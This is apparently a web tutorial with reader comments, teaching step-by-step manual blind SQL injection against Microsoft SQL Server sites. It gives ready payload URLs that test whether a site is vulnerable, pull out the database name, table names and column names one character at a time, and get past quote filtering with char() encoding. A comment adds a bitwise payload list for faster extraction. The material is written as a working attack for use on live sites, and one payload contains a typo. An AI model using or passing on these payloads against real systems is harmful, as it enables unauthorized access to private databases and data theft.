Mssql Blind Sql Injection Tutorial Step By Step !

Blind Mssql SQL Injection tutorial

Mssql Blind Sql Injection Tutorial Step By Step

In this tutorial you will learn how to perform and exploit Blind Mssql SQL Injection manually step by step.So,

What is Blind Mssql SQL Injection ?

Blind SQL (Structured Query Language) injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.

In some case, Using normal sql injection is not work. Blind sql injection is another method which may help you. The important point for blind sql injection is the difference between the valid and invalid query result.You have to inject a statement to make query valid or invalid and observe the response.

How To Test Mssql Blind SQL Injection Vulnerable Sites ?

Lets us assume that  http://www.example.com/page.asp?id=1 is normal url of the website. so lets check the vulnerability of website by using true & false conditions like 1=2, 1=1, or 0>1.

http://www.example.com/page.asp?id=1 and 1=1  (True)
http://www.example.com/page.asp?id=1 and 1=2  (False)
http://www.example.com/page.asp?id=1 and 0>1  (False)

If the results from these requests are different, it will be a good signal for you. That Means the Website is vulnerable to blind mssql Sql injection. When you put “id=1 and 1=1“, It means that the condition is true so, the response must be normal. But the parameter “id=1 and 1=2″ indicates that the condition is false and if the webmaster does not provide a proper filter, the response absolutely differs from previous.

Extracting data through Blind Mssql SQL Injection

By using blind mssql sql injection you can extract database but you have to spend more time on that. You will get only one character of the word by executing the some queries.

Let me explain you an example of querying the first character of database name. We assume that database name is member. Therefore, the first character is “m” which the ascii value is 109. (At this point, we assume that you know ascii code).

Ok, first, we have to know that the results from requests have only 2 forms.

The following steps are up to each person. You idea may be different from our idea in order to pick ascii code to test query.

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90

In this situation, the result will be valid query result like http://www.example.com/page.asp?id=1 and 1=1 (because the first character of database name is “m” which ascii code is 109). Then, we try

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>120

It is surely that the result will like http://www.example.com/page.asp?id=1 and 1=2 (because 109 absolutely less than 120).
then, we will try,

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>105

The result is a valid query result and at this point, the ascii value of first character of database name is between 105 and 120.
So, we try

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>112 ===> invalid query result
 http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>108 ===> valid query result
 http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>110 ===> invalid query result
 http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>109 ===> invalid query result

You see that the first character of database name has an ascii value which is greater than 108
but is not greater than 109. Thus, we can conclude that the ascii value is equal to 109.

You can prove with:

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)=109

We sure that the result is like the result of http://www.target.com/page.php?id=1 and 1=1

The rest which you have to do is to manipulate some queries to collect your preferred information.
In this tutorial, we propose some example queries in order to find the names of tables and columns in the database.

Extracting table names through Blind Mssql SQL Injection

In order to get table name, we can use above method to obtain each character of table name.The only thing that we have to do is to change query to retrieve table name of current database. As MSSQL does not have limit command. Therefore, the query is a bit complicated.

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) 
 FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
 AS varchar(8000)),1,1)),0)>97

The above query is used to determine the first character of first table in current database. If we want to find second character of first table,we can do by following request:

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),2,1)),0)>97

We change the second parameter of substring function from 1 to 2 in order to specify preferred position of character in table name.
Thus, if we want to determine other positions, we require only changing second parameter of substring function.

In case of other tables, we can find other table names by changing the second select
from “SELECT TOP 1” to be “SELECT TOP 2” , “SELECT TOP 3” and so on. for example,

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 2 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),1,1)),0)=97

Extracting column names through Blind Mssql SQL Injection

After we obtain table names, the next target information is absolutely column names.

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i HERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),1,1)),0)>97

In order to circumvent from magic quote filtering, you have to change ‘tablename’ to be the form of concatenating char() command. for example, if table name is ‘user’, when we put ‘user’ in the query, ‘ may be filtered and our query will be wrong. The solution is convert ‘user’ to be char(117)+char(115)+char(101)+char(114). So, the query in where cluase changes from “Where name=’user'” to “Where name=char(117)+char(115)+char(101)+char(114)”.

Read more: Union Based Mssql Injection Manually Step by Step
In this case, we can circumvent magic quote filtering. The result from the above request is the first character of the first column name of specific table.
When we want to find the second character of the first column, we can use the same method as getting table name, by changing the second parameter of
substring function.

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM 
 syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE 
 id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),2,1)),0)>97

The above request is used to determine the second character of the first column name in specific table.
In case of determining other columns, we can do by changing p.x value from 1 to 2,3,4 and so on. such as,

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM 
 syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE 
 id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=2))AS varchar(8000)),1,1)),0)>97

The first character of the second column name in specific table can be determined by the above request.

 

3 COMMENTS

  1. Nice and really very helpful article. BTW it is very lengthy process is there any method to perform this oe can we perform this with SQLMAP ?

  2. To speed up the process you can request each bit of one character’s ascii code, I use this in the tool jSQL.
    It requires 8 URL calls but you can process them in parallel :

    and 0!=(ascii(substring([SQL],indexCharacter,1))&1)–+
    and 0!=(ascii(substring([SQL],indexCharacter,1))&2)–+
    and 0!=(ascii(substring([SQL],indexCharacter,1))&4)–+
    and 0!=(ascii(substring([SQL],indexCharacter,1))&8)–+
    and 0!=(ascii(substring([SQL],indexCharacter,1))&16)–+
    and 0!=(ascii(substring([SQL],indexCharacter,1))&32)–+
    and 0!=(ascii(substring([SQL],indexCharacter,1))&64)–+
    and 0!=(ascii(substring([SQL],indexCharacter,1))&128)–+

Leave a Reply